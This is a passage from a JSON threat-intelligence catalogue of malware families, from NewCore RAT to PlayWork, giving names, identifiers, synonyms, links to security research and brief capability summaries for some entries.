        "synonyms": [],
        "type": []
      },
      "uuid": "f18b17a7-9124-42e8-a2f2-4a1a9839aee8",
      "value": "NewCore RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.newposthings",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/",
          "https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html",
          "https://asert.arbornetworks.com/lets-talk-about-newposthings/",
          "http://www.cyintanalysis.com/a-quick-look-at-a-likely-newposthings-sample/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "48f95941-8369-4f80-b2b4-abbacd4bc411",
      "value": "NewPosThings"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels",
          "https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1d32e7c3-840e-4247-b28b-818cb1c4ae7c",
      "value": "NewsReels"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.new_ct",
          "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf"
        ],
        "synonyms": [
          "CT"
        ],
        "type": []
      },
      "uuid": "ec50a75e-81f0-48b3-b1df-215eac646421",
      "value": "NewCT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot",
          "https://twitter.com/benkow_/status/789006720668405760"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "de3aae04-130b-4c5f-b67c-03f872e76697",
      "value": "Nexster Bot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nexus_logger",
          "http://researchcenter.paloaltonetworks.com/2017/03/unit42-nexuslogger-new-cloud-based-keylogger-enters-market/",
          "https://twitter.com/PhysicalDrive0/status/842853292124360706"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "dd1408ac-e288-4389-87f3-7650706f1d51",
      "value": "NexusLogger"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb",
          "https://research.checkpoint.com/ramnits-network-proxy-servers/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "35fd764f-8723-4663-9bbf-5b02a64ec02e",
      "value": "Ngioweb"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitlove",
          "https://www.fireeye.com/blog/threat-research/2015/05/nitlovepos_another.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1bdd56fe-beca-4652-af39-87b5e45ae130",
      "value": "nitlove"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/Tale-of-the-Two-Payloads-%E2%80%93-TrickBot-and-Nitol/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e1fb348b-5e2b-4a26-95af-431065498ff5",
      "value": "Nitol"
    },
    {
      "description": "RedPacket Security describes NJRat as \"a remote access trojan (RAT) has capabilities to log keystrokes, access the victim's camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim's desktop, perform process, file, and registry manipulations, and capabilities to let the attacker update, uninstall, restart, close, disconnect the RAT and rename its campaign ID. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread through USB drives.\"\r\n\r\nIt is supposedly popular with actors in the Middle East. Similar to other RATs, many leaked builders may be backdoored.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat",
          "http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf",
          "http://csecybsec.com/download/zlab/20171221_CSE_Bladabindi_Report.pdf",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/new-rats-emerge-from-leaked-njw0rm-source-code/",
          "https://blog.fortinet.com/2016/11/30/bladabindi-remains-a-constant-threat-by-using-dynamic-dns-services",
          "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/",
          "http://blogs.360.cn/post/analysis-of-apt-c-37.html"
        ],
        "synonyms": [
          "Bladabindi"
        ],
        "type": []
      },
      "uuid": "ff611c24-289e-4f2d-88d2-cfbf771a4e4b",
      "value": "NjRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer",
          "https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "94793dbc-3649-40a4-9ccc-1b32846ecb3a",
      "value": "Nocturnal Stealer"
    },
    {
      "description": "Nokki is a RAT type malware which is believe to evolve from Konni RAT. This malware has been tied to attacks containing politically-motivated lures targeting Russian and Cambodian speaking individuals or organizations. Researchers discovered a tie to the threat actor group known as Reaper also known as APT37.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki",
          "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
          "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f3cbe9ca-e65e-41af-8eb2-1e9877434124",
      "value": "Nokki"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nozelesn_decryptor"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "6207668d-af17-44a6-97a2-e1b448264529",
      "value": "Nozelesn (Decryptor)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nransom",
          "https://twitter.com/malwrhunterteam/status/910952333084971008",
          "https://motherboard.vice.com/en_us/article/yw3w47/this-ransomware-demands-nudes-instead-of-bitcoin",
          "https://www.kaspersky.com/blog/nransom-nude-ransomware/18597/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b9c767c7-a1e8-476a-8032-9686d51df7de",
      "value": "nRansom"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim",
          "https://www.cert.pl/en/news/single/nymaim-revisited/",
          "https://www.proofpoint.com/us/threat-insight/post/nymaim-config-decoded",
          "https://bitbucket.org/daniel_plohmann/idapatchwork",
          "https://arielkoren.com/blog/2016/11/02/nymaim-deep-technical-dive-adventures-in-evasive-malware/",
          "https://public.gdatasoftware.com/Web/Landingpages/DE/GI-Spring2014/slides/004_plohmann.pdf",
          "https://github.com/coldshell/Malware-Scripts/tree/master/Nymaim"
        ],
        "synonyms": [
          "nymain"
        ],
        "type": []
      },
      "uuid": "9b5255c6-44e5-4ec3-bc03-7e00e220c937",
      "value": "Nymaim"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2",
          "https://johannesbader.ch/2018/04/the-new-domain-generation-algorithm-of-nymaim/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c8e8392f-883e-412e-9b0b-02137d0875da",
      "value": "Nymaim2"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt",
          "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "01cef4e7-a8a8-4b42-b509-f91c5d415354",
      "value": "Oceansalt"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.octopus",
          "https://securelist.com/octopus-infested-seas-of-central-asia/88200/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "777b76f9-5390-4899-b201-ebaa8a329c96",
      "value": "Octopus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d8305201-9fec-4e6b-9eec-7ebb756364e2",
      "value": "OddJob"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.odinaff",
          "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "045df65f-77fe-4880-af34-62ca33936c6e",
      "value": "Odinaff"
    },
    {
      "description": "According to FireEye, OLDBAIT is a credential stealer that has been observed to be used by APT28.\r\nIt targets Internet Explorer, Mozilla Firefox, Eudora, The Bat! (an email client by a Moldovan company), and Becky! (an email client made by a Japanese company). It can use both HTTP or SMTP to exfiltrate data.\r\nIn some places it is mistakenly named \"Sasfis\", which however seems to be a completely different and unrelated malware family.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf",
          "https://www.secjuice.com/fancy-bear-review/"
        ],
        "synonyms": [
          "Sasfis"
        ],
        "type": []
      },
      "uuid": "b79a6b61-f122-4823-a4ab-bbab89fcaf75",
      "value": "OLDBAIT"
    },
    {
      "description": "Malware which seems to have no function other than to disrupt computer systems related to the 2018 Winter Olympic event.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer",
          "http://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
          "https://www.lastline.com/labsblog/olympic-destroyer-south-korea/",
          "https://securelist.com/the-devils-in-the-rich-header/84348/",
          "https://cyber.wtf/2018/03/28/dissecting-olympic-destroyer-a-walk-through/",
          "https://www.virusbulletin.com/virusbulletin/2018/10/vb2018-paper-who-wasnt-responsible-olympic-destroyer/",
          "https://securelist.com/olympic-destroyer-is-still-alive/86169/",
          "http://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html",
          "https://www.lastline.com/labsblog/attribution-from-russia-with-code/",
          "https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f3ba8a50-0105-4aa9-90b2-01df15f50b28",
      "value": "Olympic Destroyer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.onekeylocker",
          "https://twitter.com/malwrhunterteam/status/1001461507513880576"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "838e2a3a-c4cb-4bee-b07f-c97b143c68d6",
      "value": "OneKeyLocker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat",
          "https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/htmlview"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "82733125-da67-44ff-b2ac-b16226088211",
      "value": "ONHAT"
    },
    {
      "description": "OnionDuke is a new sophisticated piece of malware distributed by threat actors through a malicious exit node on the Tor anonymity network appears to be related to the notorious MiniDuke, researchers at F-Secure discovered. According to experts, since at least February 2014, the threat actors have also distributed the threat through malicious versions of pirated software hosted on torrent websites. ",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke",
          "https://www.f-secure.com/weblog/archives/00002764.html",
          "http://contagiodump.blogspot.com/2014/11/onionduke-samples.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "abd10caa-7d4c-4c22-8dae-8d32f13232d7",
      "value": "OnionDuke"
    },
    {
      "description": "A spambot that has been observed being used for spreading Ursninf, Zeus Panda, Andromeda or Netflix phishing against Italy and Canada.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner",
          "https://benkowlab.blogspot.fr/2017/02/spambot-safari-2-online-mail-system.html"
        ],
        "synonyms": [
          "Onliner",
          "SBot"
        ],
        "type": []
      },
      "uuid": "6cf05dad-86c8-4f46-b5b8-0a004360563f",
      "value": "OnlinerSpambot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.oopsie",
          "https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr",
          "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d07c3def-91af-4d9b-bdf7-62c9e0b44968",
      "value": "OopsIE"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki",
          "https://forum.malekal.com/viewtopic.php?t=21806",
          "https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519",
          "http://contagiodump.blogspot.com/2009/11/win32opachkia-trojan-that-removes-zeus.html",
          "http://contagiodump.blogspot.com/2010/03/march-2010-opachki-trojan-update-and.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f50de0a8-35a7-406e-9f53-8f7d5448e1e7",
      "value": "Opachki"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.opghoul",
          "https://securelist.com/blog/research/75718/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "25a280b2-0260-4593-bf8c-7062dfdc6c38",
      "value": "OpGhoul"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster",
          "http://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "25c962c5-5616-4fe3-ad44-68c4ac4c726d",
      "value": "OpBlockBuster"
    },
    {
      "description": "FireEye details ORANGEADE as a dropper for the CREAMSICLE malware.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade",
          "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "092262b0-c631-400d-9f38-017cd59a14fd",
      "value": "ORANGEADE"
    },
    {
      "description": "OrcaRAT is a Backdoor that targets the Windows platform. It has been reported that a variant of this malware has been used in a targeted attack. It contacts a remote server, sending system information. Moreover, it receives control commands to execute shell commands, and download/upload a file, among other actions.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat",
          "http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "08103f1c-f83d-4037-a1ae-109b06f79226",
      "value": "OrcaRAT"
    },
    {
      "description": "Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat",
          "https://orcustechnologies.com/",
          "https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors",
          "https://www.canada.ca/en/radio-television-telecommunications/news/2019/03/crtc-and-rcmp-national-division-execute-warrants-in-malware-investigation.html",
          "https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/",
          "https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/",
          "http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c41e7fdd-f1b1-4b87-97d7-634202af8b61",
      "value": "Orcus RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt",
          "https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/",
          "https://www.gdata.de/blog/2017/11/30151-ordinypt"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7fd96553-4c78-43de-824f-82645ed4fac5",
      "value": "Ordinypt"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor",
          "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "10a521e4-b3b9-4feb-afce-081531063e7b",
      "value": "Outlook Backdoor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat",
          "https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/",
          "https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "842687f5-91bc-4719-ac3f-4166ae02e0cd",
      "value": "Overlay RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.ovidiystealer",
          "https://www.proofpoint.com/us/threat-insight/post/meet-ovidiy-stealer-bringing-credential-theft-masses"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "30d49b12-0dca-4652-9f7a-4d0cf7555375",
      "value": "OvidiyStealer"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth",
          "https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/"
        ],
        "synonyms": [
          "luckyowa"
        ],
        "type": []
      },
      "uuid": "37f66fcc-e093-4d97-902d-c96602a7d234",
      "value": "owaauth"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt",
          "https://johannesbader.ch/2016/03/the-dga-of-padcrypt/",
          "https://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c21335f5-b145-4029-b1bc-161362c7ce80",
      "value": "PadCrypt"
    },
    {
      "description": "Paladin RAT is a variant of Gh0st RAT used by PittyPanda active since at least 2011.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin",
          "https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf",
          "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c6728a76-f4d9-4c49-a3aa-be895df13a35",
      "value": "paladin"
    },
    {
      "description": "According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.\r\n\r\nThis banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.\r\n\r\nThe baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.\r\n\r\nPanda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker",
          "https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker",
          "https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/",
          "https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers",
          "https://www.arbornetworks.com/blog/asert/panda-bankers-future-dga/",
          "https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media",
          "https://www.proofpoint.com/tw/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market",
          "https://www.spamhaus.org/news/article/771/",
          "https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html",
          "http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html",
          "https://blogs.forcepoint.com/security-labs/zeus-panda-delivered-sundown-targets-uk-banks",
          "https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/",
          "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
          "https://www.arbornetworks.com/blog/asert/let-pandas-zeus-zeus-zeus-zeus/",
          "http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html",
          "https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/"
        ],
        "synonyms": [
          "ZeusPanda"
        ],
        "type": []
      },
      "uuid": "31ebe294-f125-4cf3-95cc-f4150ab23303",
      "value": "PandaBanker"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http",
          "https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c5eee19f-0877-4709-86ea-328e346af1bf",
      "value": "parasite_http"
    },
    {
      "description": "Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.peepy_rat",
          "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "49321579-9dfe-45c6-80df-79467e4af65d",
      "value": "Peepy RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.penco"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a2fd9b8a-826d-4df5-9a29-d61a8456d086",
      "value": "Penco"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap",
          "https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/",
          "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "82ed8fae-552e-407b-b3fc-f617b7a8f996",
      "value": "PetrWrap"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.petya",
          "https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/",
          "https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/",
          "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/",
          "https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/",
          "https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "34c9dbaa-97ac-4e1e-9eca-b7c492d67efc",
      "value": "Petya"
    },
    {
      "description": "Information gathering and downloading tool used to deliver second stage malware to the infected system",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift",
          "https://community.fireeye.com/external/1093"
        ],
        "synonyms": [
          "ReRol"
        ],
        "type": []
      },
      "uuid": "add29684-94b7-4c75-a43b-d039c4b76158",
      "value": "pgift"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.phandoor",
          "https://global.ahnlab.com/global/upload/download/techreport/[AhnLab]Andariel_a_Subgroup_of_Lazarus%20(3).pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3a77d0d4-6fb1-4092-9fe3-bf1f51a6677c",
      "value": "PhanDoor"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom",
          "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/",
          "https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html",
          "https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware",
          "https://blogs.forcepoint.com/security-labs/shelf-ransomware-used-target-healthcare-sector",
          "https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f2a10bec-4783-4cfc-8e93-acd3c12a517d",
      "value": "Philadephia Ransom"
    },
    {
      "description": " Phoreal is a very simple backdoor that is capable of creating a reverse shell, performing simple file I/O and top-level window enumeration. It communicates to a list of four preconfigured C2 servers via ICMP on port 53",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal",
          "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf"
        ],
        "synonyms": [
          "Rizzo"
        ],
        "type": []
      },
      "uuid": "3aa6fd62-9b91-4136-af0e-08af7962ba4b",
      "value": "PHOREAL"
    },
    {
      "description": "Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex",
          "https://www.johannesbader.ch/2016/02/phorpiex/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/",
          "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/",
          "https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows",
          "https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/"
        ],
        "synonyms": [
          "Trik"
        ],
        "type": []
      },
      "uuid": "9759f99b-6d6c-4633-aa70-cb1d2bacc540",
      "value": "Phorpiex"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat",
          "https://www.snort.org/rule_docs/1-26941"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ea1c71fe-ad42-4c5a-8114-9ab9ecaa66f5",
      "value": "pipcreat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi",
          "https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e2325481-006f-4ad4-86d9-1a2ae6fea154",
      "value": "pirpi"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou",
          "https://www.tgsoft.it/english/news_archivio_eng.asp?id=884",
          "https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f371c85c-56f6-4ddf-8502-81866da4965b",
      "value": "Pitou"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pittytiger_rat",
          "https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf",
          "https://securingtomorrow.mcafee.com/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/"
        ],
        "synonyms": [],
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      },
      "uuid": "7ac902e0-4a7d-4451-b0fd-cdf98fbe5018",
      "value": "PittyTiger RAT"
    },
    {
      "description": "Pkybot is a trojan, which has its roots as a downloader dubbed Bublik in 2013 and was seen distributing GameoverZeus in 2014 (ref: fortinet). In the beginning of 2015, webinject capability was added according to /Kleissner/Kafeine/iSight using the infamous ATS.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot",
          "http://blog.kleissner.org/?p=788",
          "https://blog.fortinet.com/2014/05/29/bublik-downloader-evolution",
          "http://webcache.googleusercontent.com/search?q=cache:JN3yRXXuYsYJ:https://www.arbornetworks.com/blog/asert/peeking-at-pkybot"
        ],
        "synonyms": [
          "Bublik",
          "Pykbot",
          "TBag"
        ],
        "type": []
      },
      "uuid": "19d71f38-422c-48f4-9f90-867eb4d4182e",
      "value": "Pkybot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee",
          "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "66087a9c-b5ac-4d6d-b79e-c0294728c876",
      "value": "PLAINTEE"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork",
          "https://contagiodump.blogspot.com/2011/01/jan-6-cve-2010-3333-with-info-theft.html"
        ],
